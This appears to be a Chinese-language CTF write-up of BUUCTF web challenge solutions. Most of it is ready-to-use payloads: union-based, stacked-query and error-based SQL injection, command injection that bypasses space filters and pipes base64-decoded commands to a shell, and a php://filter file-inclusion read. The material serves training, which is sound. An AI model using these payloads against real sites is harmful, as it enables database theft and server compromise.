BUUCTF解題 WEB

目录

SQL-[极客大挑战 2019]EasySQL

SQL-[SUCTF 2019]EasySQL

SQL-[极客大挑战 2019]LoveSQL

SQL-[强网杯 2019]随便注(過濾型)

SQL-[极客大挑战 2019]HardSQL(過濾型)

command-injection-[GXYCTF2019]Ping Ping Ping(過濾型)

 javascript-[极客大挑战 2019]Havefun

​

LFI-[极客大挑战 2019]Secret File

webshell-[极客大挑战 2019]Knife

---

SQL-[极客大挑战 2019]EasySQL

帳: '<>1<>'

密: '<>1<>'

結束

SQL-[SUCTF 2019]EasySQL

執行語句: select $post['query']||flag from Flag

解一:

▶️*,1

解二:

▶️1;set sql_mode=PIPES_AS_CONCAT;select 1

set sql_mode=PIPES_AS_CONCAT;的作用是将||的功能从 或运算（or） 改为  字符串拼接

SQL-[极客大挑战 2019]LoveSQL

▶️帳號：admin ' order by 1 #

▶️/check.php?username=admin' order by 4%23&password=1  

字段為３

▶️/check.php?username=1' union select 1,2,3%23&password=1

 

▶️/check.php?username=1' union select 1,database(),version()%23&password=1

▶️/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

▶️/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

▶️/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

SQL-[强网杯 2019]随便注(過濾型)

 有過濾輸入值--preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

使用(select * from `1919810931114514`)16進制配合預處裡執行

▶️1';show tables; #

▶️1';show columns from `1919810931114514`;#

▶️1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

SQL-[极客大挑战 2019]HardSQL(過濾型)

[极客大挑战 2019]HardSQL_Sk1y的博客-CSDN博客

使用updataxml或extractvalue

因為updatexml需要xpath格式的字符串，但是以~(0x7e)開頭的字符串不符合，所以會報錯，同時會將括號內的執行結果以錯誤的形式爆出。這就可以實現報錯注入。

payload: updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

▶️check.php?username=admin'^(updatexml(1,concat(0x7e,

database(),0x7e),1))%23&password=1

▶️check.php?username=admin'or(updatexml(1,concat(0x7e,

(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1

▶️check.php?username=admin'or(updatexml(1,concat(0x7e,

(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=1

▶️check.php?username=admin'^(updatexml(1,concat(0x7e,

(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=1

command-injection-[GXYCTF2019]Ping Ping Ping(過濾型)

空格使用：$IFS$1　繞過

解1▶️/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

解2▶️/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

解3▶️/?ip=127.0.0.1;ls|xargs$IFS$1tail$IFS$1-2　（ls|xargs tail -2)

 javascript-[极客大挑战 2019]Havefun

F12檢視原始碼，提示URL帶入cat='dog'參數即可顯示flag

LFI-[极客大挑战 2019]Secret File

文件包含教學：

https://read01.com/nEknzdJ.html#.YVBFW5pByUk

burp抓包發現secr3t.php

▶️/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

 

 ▶️base64解密

webshell-[极客大挑战 2019]Knife

[BUUCTF012][极客大挑战 2019]Knife 1_m0_52674595的博客-CSDN博客